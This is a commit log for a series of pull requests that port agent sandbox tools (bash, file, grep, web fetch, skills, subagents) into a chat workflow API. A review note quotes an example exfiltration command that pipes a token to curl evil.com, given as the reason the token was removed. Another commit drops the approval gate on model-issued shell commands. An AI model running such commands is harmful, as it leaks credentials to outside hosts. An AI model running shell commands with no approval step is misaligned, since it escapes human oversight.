* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)

Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.

New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
  getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
  RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
  adapted to api's Sandbox interface. Injects recoup env on foreground
  execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
  record. Adding the remaining tools is a one-line append to this map.

Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
  experimental_context, and uses streamText's internal multi-step loop
  (stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
  in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
  via extractOrgId, builds AgentContext with session.sandbox_state +
  validated.authToken, passes to start(workflow).

Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure

Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
  default stop condition handles tool-call iteration without an
  arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
  bashTool. All model-issued commands are trusted in this PR — host-
  side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
  about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
  - `AgentContext.ts` — type
  - `isAgentContext.ts` — guard
  - `getSandbox.ts` — sandbox reconnection
  No catch-all utils file.

Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
  buildRecoupExecEnv. Handing the long-lived api key to bash would let
  any model-issued command exfiltrate it via env (`echo $TOKEN | curl
  evil.com`). Slim PR 4 has no actual consumer for the token — only
  the future `skill` tool needs it. Proper short-lived token minting
  will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
  sandbox.state is a non-null object AND sandbox.workingDirectory is a
  non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
  letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
  deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
  has no enforced max-lines rule; existing tests routinely exceed 700
  lines.

Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow

Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.

DRY by sharing one constant between the two chat endpoints:

- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
  Inherits the value that /api/chat already uses (originally hardcoded
  in getGeneralAgent.ts:55) — high enough that normal flows never hit
  the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
  instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
  streamText as `stopWhen`.

Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.

Full suite 2980/2980 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)

Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.

New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB

New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path

buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.

Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)

Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).

AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:

- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
  globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).

Full suite 3014/3014 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)

Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.

New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
  frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
  (key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
  drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
  only. Global skills (~/.skills) port later alongside short-lived
  token minting

New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.

Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
  non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
  start(workflow); empty catalog on discovery failure (best-effort,
  never blocks the request)

Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
  load + return content, but its curl examples wouldn't authenticate
  without ad-hoc credentials. Token minting becomes a separate PR
  where it can be designed properly (Privy JWT vs server-minted JWT
  scoped to accountId + sandbox session).

Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)

The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):

  - \${workingDirectory}/.claude/skills/   (project, claude-style)
  - \${workingDirectory}/.agents/skills/   (project, agents-style)
  - \${HOME}/.agents/skills/               (global; populated at
                                           provisioning by
                                           installSessionGlobalSkills)

Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.

Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
  to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
  getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants

Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.

Full suite 3053/3053; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)

Two changes per user direction:

1. **YAGNI: drop project-skill directory scanning.** All skills are
   provisioned globally via `installSessionGlobalSkills` at sandbox
   startup — org repos do NOT bundle their own skill directories.
   getSandboxSkillDirectories now returns just the single global
   path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
   and the PROJECT_SKILL_BASE_FOLDERS array.

2. **SRP: extract getSkills into its own file.** Previously inline in
   skillTool.ts (per sweetman comment on PR 587). Now lives at
   lib/skills/getSkills.ts with its own tests. Future skill-aware
   consumers (e.g. system-prompt builders) share the same accessor
   instead of duplicating the context-cast.

Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
  - Sandbox provisioning installs 2 globals at
    /home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
  - Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
    received 11,173 chars of SKILL.md content with the correct
    "Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
    header

Full suite 3055/3055; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory

Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:

- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
  - 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
    when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
  getSandboxSkillDirectories.ts
  - 2 new unit tests (standard path, trailing-slash tolerance)

discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).

Full suite passes; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)

Completes the open-agents tool surface. The agent now has all 11 tools.

**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.

**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.

The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
  executor/explorer/design all explicitly omit task too; subagents
  are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
  open-agents subagent curation; subagents run autonomously, don't
  plan from scratch, don't make web calls, don't load further skills)

AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.

buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).

Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.

Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(task-tool): provide non-empty subagent prompt

The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."

Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)

Address PR review feedback:

- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
  (one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
  model: LanguageModel / subagentModel?: LanguageModel. api can't follow
  that exact shape because agentContext is part of a durable Vercel
  Workflow input and LanguageModel objects aren't JSON-serializable.
  Instead of inventing modelId on AgentContext, hardcode a default
  subagent model id in taskTool. A subagentModelId override field can
  be added if/when a real consumer needs it.

Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent): align AgentContext + model resolution with open-agents

Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):

- AgentContext gains `model: LanguageModel` (required) and
  `subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
  for the workflow input shape, since LanguageModel instances aren't
  JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
  per step and merges it into experimental_context — same pattern as
  open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
  mirror open-agents' utility functions: getSubagentModel returns
  `ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
  getSubagentModel(experimental_context, "task") instead — subagent
  now defaults to the same model the parent is running.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)

* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)

First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.

New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
  open-agents' gateway-metadata.ts, parses gateway-reported per-step
  cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
  open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
  open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
  stateful factory returning a fresh callback per turn; accumulates
  usage + cost across finish-step parts.

Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).

Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage

Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:

- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
  extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
  in AgentMessageMetadata)

Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
  @ai-sdk/mcp: all bumped to latest stable

The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
  directly)

Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
  (now returns Promise<ModelMessage[]>)

Tests: 3106/3106 pass; production typecheck clean; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)

Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:

  - An initial "Subagent · 0 tools · 0 tokens" card with stable
    startedAt timestamp
  - A live `pending: {name, input}` indicator for each tool-call
  - Accumulated `usage` after each finish-step
  - A final `{final: ModelMessage[], ...}` chunk containing the full
    subagent transcript for expandable rendering

`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.

New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
  addLanguageModelUsage to handle undefined inputs without
  introducing zero-tokens placeholders.

Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.

Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)

Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.

Production verification (today, before this fix):
  agent: "My system prompt does not contain working directory or
         branch information."

After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.

Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
  environment section → Current branch → cloud-sandbox checkpointing
  → custom instructions, all conditional on inputs. Mirrors
  open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
  open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
  placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
  discovery AND cwd/branch reading, then thread real values into
  `AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
  connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
  today's behavior; tools surface real errors later when they
  reconnect).
- `runAgentStep`: build the system prompt via
  `buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
  instead of using the static `agentCustomInstructions` directly.

Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).

Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore(chat-workflow): drop currentBranch handling from system prompt

Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).

- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
  open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
  per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
  rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
  (the field stays on AgentContext.sandbox for type completeness;
  also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases

Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.

Tests: 3119/3119 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call

Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)

* feat(chat-workflow): add POST /api/chat/workflow route stub

Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.

Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
  ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
  ChatWorkflowRequest (messages, chatId, sessionId, optional
  context.contextLimit)

Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)

409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.

Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — SRP/DRY cleanup

Two review fixes per PR feedback:

1. SRP/DRY — drop the local errorResponse helper from
   handleChatWorkflowStream.ts; use the shared
   lib/networking/errorResponse and lib/zod/validationErrorResponse
   helpers instead.

2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
   into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
   so it accepts a full NextRequest (like the existing validateChatRequest)
   and returns an auth-augmented body (accountId/orgId/authToken). The
   handler now opens with a single `validateChatWorkflow(request)` call.

Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
  into a single "validator short-circuit passes through" test — both are
  now the validator's responsibility, not the handler's

22/22 new tests green; full suite 2900/2900 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore: revert unrelated local changes accidentally swept into PR

Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow

Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.

What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
  existing active_stream_id (resume / 409 / fall-through) → refresh
  lifecycle activity → fire-and-forget persist user message → start
  runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
  return run.getReadable() with x-workflow-run-id header

New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId

New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop

New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn

Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.

Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — structural + P1/P2 fixes

Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
  app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
  - Generic `updateChat({filter, updates})` with optional CAS predicate
    on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
    touchChat (both deleted).
  - Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
    domain-specific isFirstChatMessage. The "is earliest?" check now
    lives in persistLatestUserMessage where it belongs.
  - Rename createChatMessageIfNotExists → `upsertChatMessage` with a
    discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
    callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
  (OCP — handler stays small, resume logic grows independently).

cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
  `pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
  race where two requests could both bill the model before one lost the
  CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
  so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
  clears stale active_stream_id on transient workflow API failures —
  we treat any uncertainty as conflict. Failed CAS-clear on a completed
  run also returns conflict (rather than possibly falling through to
  ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
  unawaited cancellation could escape the try/catch.

cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
  id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
  exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
  body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
  acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
  lands with tool ports (PR 4). Multi-turn loop with the same input was
  unsafe — log+warn if model returns tool-calls and exit.

Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): top-level import in reconcileExistingActiveStream

The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.

